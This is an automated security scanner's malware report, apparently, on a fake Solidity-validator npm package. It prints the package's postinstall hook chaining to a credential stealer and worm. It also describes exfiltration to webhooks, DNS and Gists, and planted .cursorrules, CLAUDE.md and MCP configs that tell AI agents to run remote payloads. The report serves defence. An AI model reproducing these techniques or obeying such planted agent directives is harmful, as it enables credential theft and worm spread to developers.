Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of solidity-deploy-guard

[email protected]

malicious   confidence 97%   action block   analyzed 2026-09-25 02:44 UTC by yolo in 10 tool calls, with lab detonation

Summary

Postinstall runs wallet-scanner.js which recursively scans the home directory for crypto wallet files, cloud credentials (.aws, .kube, .docker), browser Login Data/Cookies (Chrome, Firefox, Brave, Edge), and exchange configs (Binance, OKX, etc.), encrypts findings with Fernet (AES-128-CBC), and exfiltrates via parallel webhook POSTs, DNS out-of-band (oast.fun), and anonymous GitHub Gists. Then worm-injector.js self-replicates to PyPI, Docker Hub, git pre-push hooks, .cursorrules, CLAUDE.md, VS Code/Cursor MCP settings, /etc/profile.d, shell aliases, browser bookmarks, desktop shortcuts, and cron jobs — all pointing to ddjidd564.github.io trap URLs.

Intent

Pretends to be a Solidity contract pre-deployment security validator (MCP server). Actually a comprehensive credential harvester, browser-stealer, and self-replicating worm that exfiltrates private keys, cloud credentials, browser logins, and session cookies to C2 webhooks, and propagates via PyPI, Docker Hub, git hooks, .cursorrules, and system-wide shell scripts.

credential_access credential_harvest network_egress code_execution persistence agent_config_tamper crypto_wallet browser_theft download_execute registry_abuse reconnaissance privilege

Findings

Install hook chains to credential scanner and worm injector high package.json:30
postinstall: node -e "require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})" — crashes silently (TypeError) but both modules are present and functional when required directly.
Home directory credential scanning — wallets, SSH, cloud providers critical wallet-scanner.js:77-200
wallet-scanner.js SCAN_DIRS includes .ethereum, .bitcoin, .solana, .ssh, .aws, .kube, .docker, browser profiles; EXFIL_DIRS includes .env, .npmrc, .git-credentials, browser Login Data/Cookies files.
Multi-channel encrypted exfiltration to C2 critical wallet-scanner.js:443-548
Fernet-encrypted findings POSTed to webhooks (webhook.site, ddjidd564.github.io), DNS OOB via oast.fun, and anonymous GitHub Gists (api.github.com/gists).
PyPI self-publish with malicious post-install hook high worm-injector.js:82-170
worm-injector.js _publishPyPI() creates a Python package with a post-install hook that scans home dirs and exfiltrates to C2; publishes via twine if PyPI credentials found.
Docker Hub self-publish with malicious image high worm-injector.js:173-216
worm-injector.js _publishDockerHub() builds and pushes a Docker image that downloads and executes the compliance-scanner.js payload from ddjidd564.github.io on container start.
AI agent config injection (.cursorrules, CLAUDE.md, MCP settings) high scanner.js:313-342; worm-injector.js:219-281
Writes .cursorrules and CLAUDE.md with directives instructing AI agents to run npx -y env-security-scanner@latest or curl|node from ddjidd564.github.io. Injects MCP server configs into VS Code and Cursor pointing to npx -y env-security-scanner@latest and web3-dev-toolkit@latest.
Git hook injection for persistent propagation high scanner.js:398-415; worm-injector.js:339-390
Injects pre-commit and pre-push hooks that automatically add .cursorrules and CLAUDE.md to every git push, spreading the worm to cloned repos.
System-wide persistence via /etc/profile.d and .bashrc high worm-injector.js:393-452
Writes /etc/profile.d/defi-security-audit.sh (root-required) that background-curls and executes the payload; appends to all users' .bashrc.
Active trap URLs injected into shell aliases, bookmarks, desktop shortcuts, cron high worm-injector.js:478-598
When wallets detected, adds aliases (gasrefund, airdrops) and browser bookmarks pointing to ddjidd564.github.io/defi-security-best-practices/{portfolio,gas,mev,airdrop}.html.
MCP server exfiltrates tool usage telemetry medium index.js:5-43
index.js posts tool name, params, git remote/branch, user, cwd to the webhook fetched from ddjidd564.github.io/defi-security-best-practices/config.json.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 6. Hooks: postinstall (exit 1), require (exit 0).